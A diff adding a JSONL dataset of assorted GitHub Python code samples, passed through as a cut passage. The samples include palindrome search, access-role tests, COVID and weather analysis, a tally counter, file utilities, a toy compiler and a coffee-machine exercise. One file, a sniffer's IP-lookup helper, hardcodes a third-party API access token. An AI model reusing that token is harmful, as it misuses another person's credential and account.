diff --git "a/5415.jsonl" "b/5415.jsonl" new file mode 100644--- /dev/null +++ "b/5415.jsonl" @@ -0,0 +1,1783 @@ +{"seq_id":"25569163834","text":"# Author: Hussain A. Pardawalla\n# Date: March 7, 2022\n# Description: The aim of the fucntion is to find the longest palindrome from a given string\n# Tested out in Python 3.10 (64bit)\n# Out of scope:\n# - Validation that the given input string fromat is correct\n# - Words with spaces i.e. 'tit for tata'\n# - Non-English alphabets\n# - words with special characters i.e. tit-for*-tat, \n# - alphanumeric words e.g. G33G\n# Note: In some cases it might work, but then in some cases it could lead to undefined results\n\n\n# To test out the code in the python terminal enter\n# >>> import os\n# >>> os.chdir('C:\\\\test') --- this is the directory where the code resides\n# >>> import longest-palindrome as lp\n# >>> lp.testSuite()\n\nimport datetime\n\n\ndef findTheLongestPalindrome(myString):\n # We check if the given string is a palnidrome\n # if it is, then we have our longest palindrome.\n if isPalindrome(myString):\n #print('Longest Palindrome found ' + myString)\n return(myString)\n else:\n # We now need to traverse.\n tmp = ''\n storedValue = ''\n for i in range(len(myString)-1):\n # We will now keep on going through the given string, from\n # left to right. And will keep on repeating the process till we either\n # find the biggest palindrome, or we reach the end. \n # We do this as the biggest palindrome could be later on \n # e.g. given ABCCBABCCB we would want to return BCCBABCCB\n # and not ABCCBA. Once the substring is twp words long we stop.\n tmp = containsPalindrome(myString[i:])\n # We ensure we only save the longest palindrome we find\n if(len(tmp)>len(storedValue)):\n storedValue = tmp\n # end of for loop\n # end of else statement\n \n if(storedValue != ''):\n #print('Longest palindrome is:'+storedValue)\n return(storedValue)\n else:\n #print('No Palindrome found')\n return ''\n#end of def findTheLongestPalindrome(myString) \n\n# helper function 1\ndef containsPalindrome(myString):\n # We start from the end of the string and move upwards\n # That is we start getting the substring from right to left\n # E.g if the work is Arkd, we'll first use Arkd, then Ark, \n # then Ar. \n # Since our substring is getting shorter and shorter we \n # just return the first palindrome we find, as that would be \n # the largest. \n for i in range(len(myString), 1, -1):\n if(isPalindrome(myString[:i])):\n return(myString[:i])\n \n # if no palindrome is found, return an empty string\n return '' \n#end of def containsPalindrome()\n\n# helper function 2\ndef isPalindrome(testStr):\n isPalindrome = False\n # We get the reverse of the input string\n # https://www.w3schools.com/python/python_howto_reverse_string.asp\n myReverseTestStr = testStr[::-1]\n \n # A palindrome string has to be greater than 1\n if (len(testStr)<=1):\n print('ERROR: String has to be greater than 1')\n \n # if the string is a palindrome set isPalindrome to True\n # It shouldn't be case sensitive. I.e. Aba is a planidrome.\n # So making sure comparison isn't case sensitive. \n if( testStr.lower() == myReverseTestStr.lower() ):\n isPalindrome = True\n \n return(isPalindrome)\n# end of def isPalindrome(testStr):\n \n\n# Test function to help test the function findTheLongestPalindrome(). \ndef testPalindrome(testString, expected):\n result = findTheLongestPalindrome(testString)\n currentDateTime = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n if(result.lower()==expected.lower()):\n print('['+currentDateTime+'] PASS: Expected:\"'+expected+'\" AND got:\"'+result+'\" for \"'+testString+'\"\\n\\n')\n else:\n print('['+currentDateTime+'] FAIL: Expected:\"'+expected+'\" BUT got:\"'+result+'\" for \"'+testString+'\"\\n\\n')\n\ndef testSuite():\n # Just a function used to test the various scenarios. \n \n # Case 1: No planidrome\n testPalindrome(testString='Palindrome', expected='')\n \n # Simple test cases\n # Case 2: Palindrome in the middle KABOOBAD\n testPalindrome(testString='KABOOBAD', expected='ABOOBA')\n\n # Case 3: Palindrome is at the end xyzABCCBA\n testPalindrome(testString='xyzABCCBA', expected='ABCCBA')\n \n # Case 4: Palindrome is at the beginning XYZoZYXab\n testPalindrome(testString='XYZoZYXab', expected='xyzozyx')\n\n # Harder scenarios\n # Case 5: Multiple palindromes of different sizes AAAsoulBCDEEDCBmachinesNOON\n testPalindrome(testString='AAAsoulBCDEEDCBmachinesNOON', expected='BCDEEDCB')\n \n # Case 6: Plaindromes within a planidrome AbccbAbccb\n testPalindrome(testString='AbccbAbccb', expected='bccbAbccb')\n \n # Case 7: Mulitiple palindromes of the same size. e.g abctitfortatisbob. In \n # this case it should return the first one that's found.\n testPalindrome(testString='abctitfortatisbob', expected='tit')\n#end of def testSuite():\n\n# testSuite()\n# by uncommenting the line above you can execute the code by entering\n# c:\\test>py longest-palindrome.py \n# in the terminal. \n\n\n\n#references\n#1. https://www.w3schools.com/python/python_howto_reverse_string.asp\n#2. https://stackoverflow.com/questions/319426/how-do-i-do-a-case-insensitive-string-comparison\n#3. https://stackoverflow.com/questions/663171/how-do-i-get-a-substring-of-a-string-in-python\n#4. https://www.programiz.com/python-programming/datetime/current-time\n#5. https://www.programiz.com/python-programming/datetime/strftime\n#6. https://stackoverflow.com/questions/3987041/run-function-from-the-command-line","repo_name":"pardawalla/python-code-samples","sub_path":"longest-palindrome/longest-palindrome.py","file_name":"longest-palindrome.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17534798176","text":"import requests\nfrom silence.logging.default_logger import logger\nfrom test_employees import get_all as get_employees\nfrom utils import get_token_for_user\n\nfrom utils import BASE_URL\n\ndef try_endpoint_with_user(route, email, expected_access):\n token = get_token_for_user(email)\n headers = {\"Token\": token}\n\n r = requests.get(f\"{BASE_URL}/{route}\", headers=headers)\n expected_code = 200 if expected_access else 401\n\n try:\n assert int(r.status_code) == int(expected_code)\n except AssertionError:\n logger.error(f\"The employee {email} got status code {r.status_code} when expecting {expected_code}\")\n raise\n\n###############################################################################\n\ndef try_free_access():\n route = \"departments/freeAccess\"\n try_endpoint_with_user(route, None, expected_access=True)\n \n for emp in get_employees():\n try_endpoint_with_user(route, emp[\"email\"], expected_access=True)\n\ndef try_only_logged():\n route = \"departments/onlyLogged\"\n try_endpoint_with_user(route, None, expected_access=False)\n \n for emp in get_employees():\n try_endpoint_with_user(route, emp[\"email\"], expected_access=True)\n\ndef try_only_manager_or_ceo():\n route = \"departments/onlyManagerOrCEO\"\n try_endpoint_with_user(route, None, expected_access=False)\n \n for emp in get_employees():\n can_access = emp[\"position\"] in (\"Manager\", \"CEO\")\n try_endpoint_with_user(route, emp[\"email\"], expected_access=can_access)\n\ndef try_only_ceo():\n route = \"departments/onlyCEO\"\n try_endpoint_with_user(route, None, expected_access=False)\n \n for emp in get_employees():\n can_access = emp[\"position\"] == \"CEO\"\n try_endpoint_with_user(route, emp[\"email\"], expected_access=can_access)\n\ndef run():\n print(\"Testing role restrictions...\")\n\n logger.warning(\"Testing free access\")\n try_free_access()\n \n logger.warning(\"Testing only logged\")\n try_only_logged()\n\n logger.warning(\"Testing only Manager or CEO\")\n try_only_manager_or_ceo()\n\n logger.warning(\"Testing only CEO\")\n try_only_ceo()","repo_name":"DEAL-US/Silence-CI-Project","sub_path":"test/test_roles.py","file_name":"test_roles.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17695143691","text":"import ipinfo\n\n\ndef address(data, target, local_address):\n if target == 1 or target == 0:\n fonte = \"Source\" if target == 0 else \"Destination\"\n address_value = '.'.join(str(num) for num in data)\n\n print(f\"{fonte} Address: {address_value}\")\n address_info(address_value, local_address)\n else:\n print(\"Erro!\\nVerifique o valor do 2° argumento de 'address(data, target, local_address)':\"\n \"\\n- '0': Source Address\\n- '1': Destination Address\")\n\n\ndef address_info(address_value, local_address):\n access_token = 'ad92174bc9060f'\n handler = ipinfo.getHandler(access_token)\n details = handler.getDetails(address_value)\n if address_value != local_address:\n city, region, country, org, hostname, timezone = info_validation(details)\n\n print(f\" Foreign Address\")\n print(f\" City: {city if city else '-'}\\n\"\n f\" Region: {region if region else '-'}\\n\"\n f\" Country: {country if country else '-'}\\n\"\n f\" Org: {org if org else '-'}\\n\"\n f\" hostname: {hostname if hostname else '-'}\\n\"\n f\" timezone: {timezone if timezone else '-'}\")\n else:\n print(\" Local Address\")\n\n\ndef info_validation(infos):\n campos = infos.details.keys()\n\n city = infos.city if 'city' in campos else \"\"\n region = infos.region if 'region' in campos else \"\"\n country = infos.country_name if 'country_name' in campos else \"\"\n org = infos.org if 'org' in campos else \"\"\n hostname = infos.hostname if 'hostname' in campos else \"\"\n timezone = infos.timezone if 'timezone' in campos else \"\"\n\n return city, region, country, org, hostname, timezone\n\n\n\"\"\"\nGithub da API para identificar a origem do IP Address: https://github.com/ipinfo/python\nStackOverflow: https://stackoverflow.com/questions/24678308/how-to-find-location-with-ip-address-in-python\nSite Extra (Identificar IP): https://nordvpn.com/pt-br/ip-lookup/\n\"\"\"\n","repo_name":"LucasHenrique-dev/Redes2","sub_path":"projetos/sniffer/sniffer_functions/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":1999,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"10739704935","text":"# %%\n# %% \nimport numpy as np\nimport pandas as pd\nimport plotly.graph_objects as go\nimport pycountry_convert as pc\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import r2_score, mean_squared_error\nfrom scipy.optimize import curve_fit\nfrom datetime import datetime, timedelta\nfrom math import trunc \nfrom scipy.stats import linregress\n\ndf = pd.read_csv('../data/novel-corona-virus-2019-dataset/covid_19_data.csv', parse_dates=['Last Update'])\ndf.rename(columns={'ObservationDate': 'Date',\n 'Country/Region': 'Country',\n 'Province/State': 'State'\n }, inplace=True)\n\ndf = df.drop(columns=\"SNo\")\n\ndf[\"Eradicated\"] = df[\"Deaths\"] + df[\"Recovered\"]\ndf[\"Active\"] = df[\"Confirmed\"] - df[\"Eradicated\"]\n\ndf[\"Country\"].replace([\"Mainland China\"], [\"China\"], inplace=True)\ndf[\"Country\"].replace([\"US\"], [\"United States\"], inplace=True)\ndf[\"Country\"].replace([\"UK\"], [\"United Kingdom\"], inplace=True)\n\n# %%\n\nstate = df[df[\"Country\"] ==\"United States\"].groupby(\"State\").sum().sort_values( \n by=['Confirmed'], ascending=False).reset_index().head(10)\n\nwith open('../report/tables/task4_states.tex', 'w') as tf:\n tf.write(state.to_latex(index=False))\n\n# %%\nweather_data = pd.read_csv(\"../data/weather/weather.csv\", parse_dates=[\"DATE\"]) \nweather_data[\"DATE\"] = weather_data[\"DATE\"].dt.strftime('%m/%d/%Y')\n# %%\nny_weather = weather_data[weather_data[\"STATION\"] == \"USW00094789\"]\nla_weather = weather_data[weather_data[\"STATION\"] == \"USW00023174\"]\nno_weather = weather_data[weather_data[\"STATION\"] == \"USW00012916\"]\ndt_weather = weather_data[weather_data[\"STATION\"] == \"USW00014822\"]\n\n#%% \ndef graphs(data, name): \n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x = data[\"DATE\"],\n y = data[\"TMAX\"], #/ np.linalg.norm(data[\"Growth Rate\"])\n line_color='#1f77b4'\n )\n )\n fig.add_trace(\n go.Scatter(\n x = data[\"DATE\"],\n y = data[\"TMIN\"], #/ np.linalg.norm(data[\"Growth Rate\"])\n fill='tonexty',\n line_color='#1f77b4'\n )\n )\n\n fig.update_layout(\n title_x = 0.5,\n yaxis_title=\"Temperature (deg F)\",\n\n font={\n \"family\":\"Courier New, monospace\",\n },\n legend={\n \"x\": 0,\n \"y\": 1\n },\n showlegend=False\n )\n fig.write_image(\"../images/task4/{}_temp.png\".format(name), scale=2)\n\n fig = go.Figure()\n\n fig.add_trace(\n go.Bar(\n x = data[\"DATE\"],\n y = data[\"PRCP\"], #/ np.linalg.norm(data[\"Growth Rate\"])\n )\n )\n\n fig.update_layout(\n title_x = 0.5,\n yaxis_title=\"Precipitation (in)\",\n\n font={\n \"family\":\"Courier New, monospace\",\n },\n legend={\n \"x\": 0,\n \"y\": 1\n },\n showlegend=False\n )\n fig.write_image(\"../images/task4/{}_rain.png\".format(name), scale=2)\n\n fig = go.Figure()\n\n fig.add_trace(\n go.Scatter(\n x = data[\"DATE\"],\n y = data[\"AWND\"], #/ np.linalg.norm(data[\"Growth Rate\"])\n )\n )\n\n fig.update_layout(\n title_x = 0.5,\n yaxis_title=\"Average Wind Speed (mph)\",\n\n font={\n \"family\":\"Courier New, monospace\",\n },\n legend={\n \"x\": 0,\n \"y\": 1\n },\n showlegend=False\n )\n fig.write_image(\"../images/task4/{}_wnd.png\".format(name), scale=2)\n\n fig = go.Figure()\n\n fig.add_trace(\n go.Bar(\n x = data[\"Date\"],\n y = data[\"Confirmed\"], #/ np.linalg.norm(data[\"Growth Rate\"])\n name = \"Confirmed\"\n )\n )\n\n fig.add_trace(\n go.Bar(\n x = data[\"Date\"],\n y = data[\"Deaths\"], #/ np.linalg.norm(data[\"Growth Rate\"])\n name = \"Deaths\"\n )\n )\n\n fig.update_layout(\n title_x = 0.5,\n yaxis_title=\"Number of Cases\",\n\n font={\n \"family\":\"Courier New, monospace\",\n },\n legend={\n \"x\": 0,\n \"y\": 1\n },\n )\n fig.write_image(\"../images/task4/{}_cases.png\".format(name), scale=2) \n# %%\nny = pd.merge(left=df[df['State'] == \"New York\"].groupby(\n \"Date\")[[\"Date\", \"Confirmed\", \"Deaths\"]].sum().reset_index(), right=ny_weather[[\"DATE\", \"AWND\", \"PRCP\", \"TMAX\", \"TMIN\"]], left_on=\"Date\", right_on=\"DATE\") \nny.corr().style.background_gradient('viridis')\ngraphs(ny, \"New York\")\n\nwith open('../report/tables/task4_newyork.tex', 'w') as tf:\n tf.write(ny.corr().to_latex())\n\n# %%\nla = pd.merge(left=df[df['State'] == \"California\"].groupby(\n \"Date\")[[\"Date\", \"Confirmed\", \"Deaths\"]].sum().reset_index(), right=la_weather[[\"DATE\", \"AWND\", \"PRCP\", \"TMAX\", \"TMIN\"]], left_on=\"Date\", right_on=\"DATE\") \nla.corr().style.background_gradient('viridis')\ngraphs(la, \"California\")\n\nwith open('../report/tables/task4_california.tex', 'w') as tf:\n tf.write(la.corr().to_latex())\n\n# %%\ndt = pd.merge(left=df[df['State'] == \"Michigan\"].groupby(\n \"Date\")[[\"Date\", \"Confirmed\", \"Deaths\"]].sum().reset_index(), right=la_weather[[\"DATE\", \"AWND\", \"PRCP\", \"TMAX\", \"TMIN\"]], left_on=\"Date\", right_on=\"DATE\") \ndt.corr().style.background_gradient('viridis') \ngraphs(dt, \"Michigan\")\n\nwith open('../report/tables/task4_michigan.tex', 'w') as tf:\n tf.write(dt.corr().to_latex())\n\n# %% \n\nno = pd.merge(left=df[df['State'] == \"Louisiana\"].groupby(\n \"Date\")[[\"Date\", \"Confirmed\", \"Deaths\"]].sum().reset_index(), right=la_weather[[\"DATE\", \"AWND\", \"PRCP\", \"TMAX\", \"TMIN\"]], left_on=\"Date\", right_on=\"DATE\") \nno.corr().style.background_gradient('viridis') \ngraphs(no, \"Loisiana\")\n\nwith open('../report/tables/task4_louisiana.tex', 'w') as tf:\n tf.write(no.corr().to_latex())\n\n\n# %%\n","repo_name":"dkadyrov/SIT","sub_path":"CS-559/Assignments/Project/python/task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":5889,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"38"} +{"seq_id":"27709187959","text":"import os\nimport shutil\n\nfrom colorama import Fore, Back, Style\nfrom pyfiglet import figlet_format\n\n\n##### Get pre-exising total. Create a new txt otherwise\ndef get_counts():\n script_dir = os.path.dirname(os.path.realpath(__file__))\n total_txt = f\"{script_dir}total.txt\"\n if not os.path.isfile(total_txt):\n counter = 0\n else:\n with open(total_txt, 'r') as total_file:\n counter = int(total_file.readline())\n return counter, total_txt\n\n\n##### Display counter\ndef disp(counter, total_txt):\n cols, rows = shutil.get_terminal_size()\n font_name = '3x5'\n custom_char_replace = {'#': '\\u2588'}\n\n inc = lambda x : x + 1\n dec = lambda x : x - 1\n while True:\n os.system('clear')\n\n # Format string\n total = figlet_format(f\"{counter:04d}\", font=font_name)\n for char in custom_char_replace:\n total = total.replace(char, custom_char_replace[char])\n\n # Paddings\n padding = int(rows/3)\n # Top padding\n for i in range(padding):\n print()\n\n # Left padding\n total = total.replace('\\n', '\\n'.center(cols-15))\n\n # Display total\n if counter % 10000 == 0:\n print(f\"{Fore.MAGENTA}{total}\")\n elif counter % 1000 == 0:\n print(f\"{Fore.CYAN}{total}\")\n elif counter % 100 == 0:\n print(f\"{Fore.YELLOW}{total}\")\n elif counter % 10 == 0:\n print(f\"{Fore.GREEN}{Style.BRIGHT}{total}\")\n elif counter % 5 == 0:\n print(f\"{Fore.GREEN}{total}\")\n else:\n print(total)\n\n print(Style.RESET_ALL)\n\n # Bottom padding\n for i in range(padding-1):\n print()\n\n\n # Get input\n inp = input(f\"+/-/e: \")\n if inp == \"-\":\n counter = dec(counter)\n if counter < 0:\n counter = 0\n elif inp == \"+\":\n counter = inc(counter)\n \n # Save total\n with open(total_txt, 'w') as total_file:\n total_file.write(f\"{counter}\")\n if inp == 'e':\n break\n\n os.system('clear') \n exit()","repo_name":"lacanlale/cli-tally","sub_path":"tally/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"33615612791","text":"import re, datetime, os, filecmp, shutil\nfrom typing import List\nfrom dateutil.relativedelta import relativedelta\nfrom photo_util.config import Config as Conf\n\n\nclass DateUtil:\n @staticmethod\n def parse(*, year, date=None, month=None, day=None) -> datetime:\n if date is not None:\n if str.isdigit(date):\n month = date[0:2]\n day = date[2:4]\n else:\n split = re.split(r'[^0-9]+', date)\n month = split[0]\n day = split[1]\n return datetime.datetime.strptime('%04s%02s%02s' % (year, month, day), '%Y%m%d')\n\n @staticmethod\n def default_from_day(arch_month=None):\n if not arch_month:\n conf = Conf()\n arch_month = conf.load(conf.SEC_SET, conf.ARCH_MONTH)\n if arch_month:\n return datetime.datetime.today() - relativedelta(months=int(arch_month))\n\n\nclass FileUtil:\n @staticmethod\n def contains_dir(target_dir, bk_dir) -> List:\n file_list = [f for f in os.listdir(target_dir) if not FileUtil.is_hidden(f)]\n for f in file_list:\n if os.path.isdir(f):\n # ディレクトリの場合は、サブディレクトリを処理する\n FileUtil.contains_dir(os.path.join(target_dir, bk_dir), os.path.join(target_dir, bk_dir))\n # チェック実施\n _, mismatch, error = filecmp.cmpfiles(target_dir, bk_dir, file_list)\n return mismatch + error\n\n @staticmethod\n def get_year_list(target_dir):\n for dir_name in os.listdir(target_dir):\n if dir_name.isdigit() and os.path.isdir(os.path.join(target_dir, dir_name)):\n yield dir_name\n\n @staticmethod\n def copy_not_exist(src, dest):\n if os.path.isdir(src) and not os.path.exists(dest):\n shutil.copytree(src, dest)\n return True\n ret = False\n for filename in os.listdir(src):\n src_path = os.path.join(src, filename)\n dest_path = os.path.join(dest, filename)\n if not os.path.exists(dest_path) and not FileUtil.is_hidden(filename):\n shutil.copy2(src_path, dest)\n ret = True\n return ret\n\n @staticmethod\n def is_hidden(filename):\n return filename.startswith('.')\n","repo_name":"highland-gumi/symphotos","sub_path":"symphotos/photo_util/common_utils.py","file_name":"common_utils.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"28591763417","text":"BOT_NAME = 'nicoletbank'\n\nSPIDER_MODULES = ['nicoletbank.spiders']\nNEWSPIDER_MODULE = 'nicoletbank.spiders'\nFEED_EXPORT_ENCODING = 'utf-8'\nLOG_LEVEL = 'ERROR'\nDOWNLOAD_DELAY = 0\n\nROBOTSTXT_OBEY = True\n\nITEM_PIPELINES = {\n\t'nicoletbank.pipelines.NicoletbankPipeline': 100,\n\n}\n\nUSER_AGENT = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0'\n","repo_name":"hristo-grudev/nicoletbank","sub_path":"nicoletbank/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"4967249988","text":"from enum import Enum\nimport sys\nfrom enum import IntEnum, auto\nfrom asmd import NodeKind as ND\nimport asmd\nimport gen\nimport parse\nimport mytokenize\nimport testprint\n\n###############################################\ndef mannc( filename ):\n\n #\n # トークナイズ\n #\n mytokenize.mytokenize(filename)\n\n print('#PRINT TKN START')\n for t in asmd.tkn:\n t.myself()\n print('#PRINT TKN END')\n\n\n #\n # パース\n #\n asmd.offset = 0\n parse.program()\n\n print('#PRINT glvars_t START')\n for g in asmd.glvars_t.keys():\n print('#name={0}'.format(g))\n asmd.glvars_t[ g ].myself()\n print('#PRINT glvars_t END')\n\n print('#offset {0}'.format(asmd.offset))\n\n #\n # ローカル変数のoffsetをセットする リファクタリング用\n #\n for index1 in range(len(asmd.code)):\n if asmd.code[index1].kind == ND.FUNCDEF:\n # 関数にパラメータがある場合だと\n # offsetの初期値は 56\n # そうでない場合は 0\n offset = 0\n for index2 in asmd.code[index1].lvars2.keys():\n offset = asmd.align_to( offset, \\\n asmd.code[index1].lvars2[index2].ty.align)\n offset += asmd.code[index1].lvars2[index2].ty.size\n asmd.code[index1].lvars2[index2].offset = offset\n print(\"#offset {0} = {1}\".format( index2, asmd.code[index1].lvars2[index2].offset ) )\n\n asmd.code[index1].offset = offset\n print(\"#func offset={0}\".format(offset))\n\n\n #\n # アセンブリコード出力開始\n #\n # ヘッダ\n print('.intel_syntax noprefix')\n\n # グローバル変数のコードを出力する\n gen.gen_gvar( )\n\n print('.text')\n print('.global main')\n\n\n # コード生成\n for nd in asmd.code:\n\n asmd.offset = nd.offset\n asmd.lvars_t = nd.lvars_t\n asmd.lvars = nd.lvars\n\n # 1stmt毎にループ\n gen.gen( nd )\n # 1stmtはスタックに値を残すので rax に pop する\n #print('\\tpop rax')\n\n #エピローグ\n #最後の式の結果がRAXに残っているのでそれが返り値になる\n #print('\\tmov rsp, rbp')\n #print('\\tpop rbp')\n\n print(\"\\tret\") \n\n","repo_name":"mannshi/pythonpython","sub_path":"mannc.py","file_name":"mannc.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"32609679154","text":"MENU = {\n \"espresso\": {\n \"ingredients\": {\n \"water\": 50,\n \"milk\": 0,\n \"coffee\": 18,\n },\n \"cost\": 1.5,\n },\n \"latte\": {\n \"ingredients\": {\n \"water\": 200,\n \"milk\": 150,\n \"coffee\": 24,\n },\n \"cost\": 2.5,\n },\n \"cappuccino\": {\n \"ingredients\": {\n \"water\": 250,\n \"milk\": 100,\n \"coffee\": 24,\n },\n \"cost\": 3.0,\n }\n}\n\nin_machine = {\n \"water\":300, #300\n \"milk\":200, #200\n \"coffee\":100, #100\n \"money\":0\n}\n\ndef user_money():\n total_user_money = 0\n print(\"Plese insert coins.\")\n quarters = float(input(\"How many quarters? : \"))\n dimes = float(input(\"How many dimes? : \"))\n nickles = float(input(\"How many nickles? : \"))\n pennies = float(input(\"How many pennies? : \"))\n total_user_money += (quarters*0.25)+(dimes*0.10)+(nickles*0.05)+(pennies*0.01)\n return float(total_user_money)\n\ndef check_indredient(no_type,coffee_type):\n if in_machine[\"coffee\"] < MENU[coffee_type][\"ingredients\"][\"coffee\"] and in_machine[\"water\"] < MENU[\"espresso\"][\"ingredients\"][\"water\"] and in_machine[\"milk\"] < MENU[coffee_type][\"ingredients\"][\"milk\"]:\n no_type = \"Sorry there is not enough water, coffee and milk.\"\n elif in_machine[\"coffee\"] < MENU[coffee_type][\"ingredients\"][\"coffee\"] and in_machine[\"water\"] < MENU[\"espresso\"][\"ingredients\"][\"water\"]:\n no_type = \"Sorry there is not enough water and coffee.\"\n elif in_machine[\"milk\"] < MENU[coffee_type][\"ingredients\"][\"milk\"] and in_machine[\"water\"] < MENU[\"espresso\"][\"ingredients\"][\"water\"]:\n no_type = \"Sorry there is not enough milk and water.\" \n elif in_machine[\"coffee\"] < MENU[coffee_type][\"ingredients\"][\"coffee\"] and in_machine[\"milk\"] < MENU[\"espresso\"][\"ingredients\"][\"milk\"]:\n no_type = \"Sorry there is not enough milk and coffee.\" \n elif in_machine[\"water\"] < MENU[coffee_type][\"ingredients\"][\"water\"] :\n no_type = \"Sorry there is not enough water.\"\n elif in_machine[\"coffee\"] < MENU[coffee_type][\"ingredients\"][\"coffee\"]:\n no_type = \"Sorry there is not enough coffee.\"\n elif in_machine[\"milk\"] < MENU[coffee_type][\"ingredients\"][\"milk\"]:\n no_type = \"Sorry there is not enough milk.\"\n return no_type\n\ndef espresso(total_user_money): \n if total_user_money < 1.5:\n return \"Sorry that's not enough money. Money refunded.\"\n elif total_user_money >= 1.5:\n in_machine[\"water\"] = in_machine[\"water\"]-MENU[\"espresso\"][\"ingredients\"][\"water\"]\n in_machine[\"coffee\"] = in_machine[\"coffee\"]-MENU[\"espresso\"][\"ingredients\"][\"coffee\"]\n in_machine[\"milk\"] = in_machine[\"milk\"]-MENU[\"espresso\"][\"ingredients\"][\"milk\"]\n in_machine[\"money\"] = in_machine[\"money\"]+MENU[\"espresso\"][\"cost\"]\n change = round(total_user_money-1.5,2)\n return f\"Here is ${change} in change\"\n\ndef latte(total_user_money): \n if total_user_money < 2.5:\n return \"Sorry that's not enough money. Money refunded.\"\n elif total_user_money >= 2.5:\n in_machine[\"water\"] = in_machine[\"water\"]-MENU[\"latte\"][\"ingredients\"][\"water\"]\n in_machine[\"coffee\"] = in_machine[\"coffee\"]-MENU[\"latte\"][\"ingredients\"][\"coffee\"]\n in_machine[\"milk\"] = in_machine[\"milk\"]-MENU[\"latte\"][\"ingredients\"][\"milk\"]\n in_machine[\"money\"] = in_machine[\"money\"]+MENU[\"latte\"][\"cost\"]\n change = round(total_user_money-1.5,2)\n return f\"Here is ${change} in change\"\n \ndef cappuccino(total_user_money): \n if total_user_money < 3:\n return \"Sorry that's not enough money. Money refunded.\"\n elif total_user_money >= 3:\n in_machine[\"water\"] = in_machine[\"water\"]-MENU[\"cappuccino\"][\"ingredients\"][\"water\"]\n in_machine[\"coffee\"] = in_machine[\"coffee\"]-MENU[\"cappuccino\"][\"ingredients\"][\"coffee\"]\n in_machine[\"milk\"] = in_machine[\"milk\"]-MENU[\"cappuccino\"][\"ingredients\"][\"milk\"]\n in_machine[\"money\"] = in_machine[\"money\"]+MENU[\"cappuccino\"][\"cost\"]\n change = round(total_user_money-1.5,2)\n return f\"Here is ${change} in change\"\n \n \nis_machine_off = False\nwhile not is_machine_off:\n user_choose = input(\"What would you like? (espresso/latte/cappuccino): \")\n if user_choose == \"espresso\":\n no_type = \"\"\n if \"Sorry\" in check_indredient(no_type,user_choose):\n print(check_indredient(no_type,user_choose))\n elif \"Sorry\" not in check_indredient(no_type,user_choose):\n total_user_money = user_money()\n print(espresso(total_user_money))\n if total_user_money >= 1.5 :\n print(\"Here is your espresso. Enjoy!\")\n\n elif user_choose == \"latte\":\n no_type = \"\"\n if \"Sorry\" in check_indredient(no_type,user_choose):\n print(check_indredient(no_type,user_choose))\n elif \"Sorry\" not in check_indredient(no_type,user_choose):\n total_user_money = user_money()\n print(latte(total_user_money))\n if total_user_money >= 2.5 :\n print(\"Here is your latte. Enjoy!\")\n \n elif user_choose == \"cappuccino\":\n no_type = \"\"\n if \"Sorry\" in check_indredient(no_type,user_choose):\n print(check_indredient(no_type,user_choose))\n elif \"Sorry\" not in check_indredient(no_type,user_choose):\n total_user_money = user_money()\n print(cappuccino(total_user_money))\n if total_user_money >= 3 :\n print(\"Here is your cappuccino. Enjoy!\")\n \n elif user_choose == \"report\":\n water = in_machine[\"water\"]\n milk = in_machine[\"milk\"]\n coffee = in_machine[\"coffee\"]\n money = in_machine[\"money\"]\n print(f\"Water : {water}ml\")\n print(f\"Milk : {milk}ml\")\n print(f\"Coffee : {coffee}g\")\n print(f\"money : ${money}\")\n\n elif user_choose == \"off\":\n is_machine_off = True\n\n\n\n","repo_name":"TurnBoneXD/udemy","sub_path":"Section 15/#Coffee machine.py","file_name":"#Coffee machine.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"18094008827","text":"import numpy as np\n\nclass MonitorSharedIPC:\n\t# Structure of the line analysis shared memory\n\tmonitor_dt = np.dtype([\n\t\t\t\t\t('status', np.uint16),\t# 0=no value, 1=valid value\n\t\t\t\t\t('timestamp', np.float64 ),\n\t\t\t\t\t('value', np.float32)])\n\tmonitor_shared_dt = np.dtype([\n\t\t\t\t\t('values', monitor_dt, (64))])\n\tfilename = '/dev/shm/monitor_shared.mmf'\n\t\n\tdef create(self):\n\t\ttry:\n\t\t\t# Try using existing file first\n\t\t\tself.data = np.memmap(MonitorSharedIPC.filename, offset=0, dtype=MonitorSharedIPC.monitor_shared_dt, mode='r+', shape=(1,1))\n\t\texcept:\n\t\t\t# Create/overwrite\n\t\t\tself.data = np.memmap(MonitorSharedIPC.filename, offset=0, dtype=MonitorSharedIPC.monitor_shared_dt, mode='w+', shape=(1,1))\n\t\n\tdef read(self):\n\t\t# Read only\n\t\tself.data = np.memmap(MonitorSharedIPC.filename, offset=0, dtype=MonitorSharedIPC.monitor_shared_dt, mode='r')\n\t\t\n\tdef getValue(self, id):\n\t\treturn self.data[0]['values'][id]['value']\n\t\n\tdef setValue(self, id, value, status=1, timestamp = 0):\n\t\tself.data[0]['analog'][id]['status'] = status\n\t\tself.data[0]['analog'][id]['timestamp'] = timestamp\n\t\tself.data[0]['values'][id]['value'] = 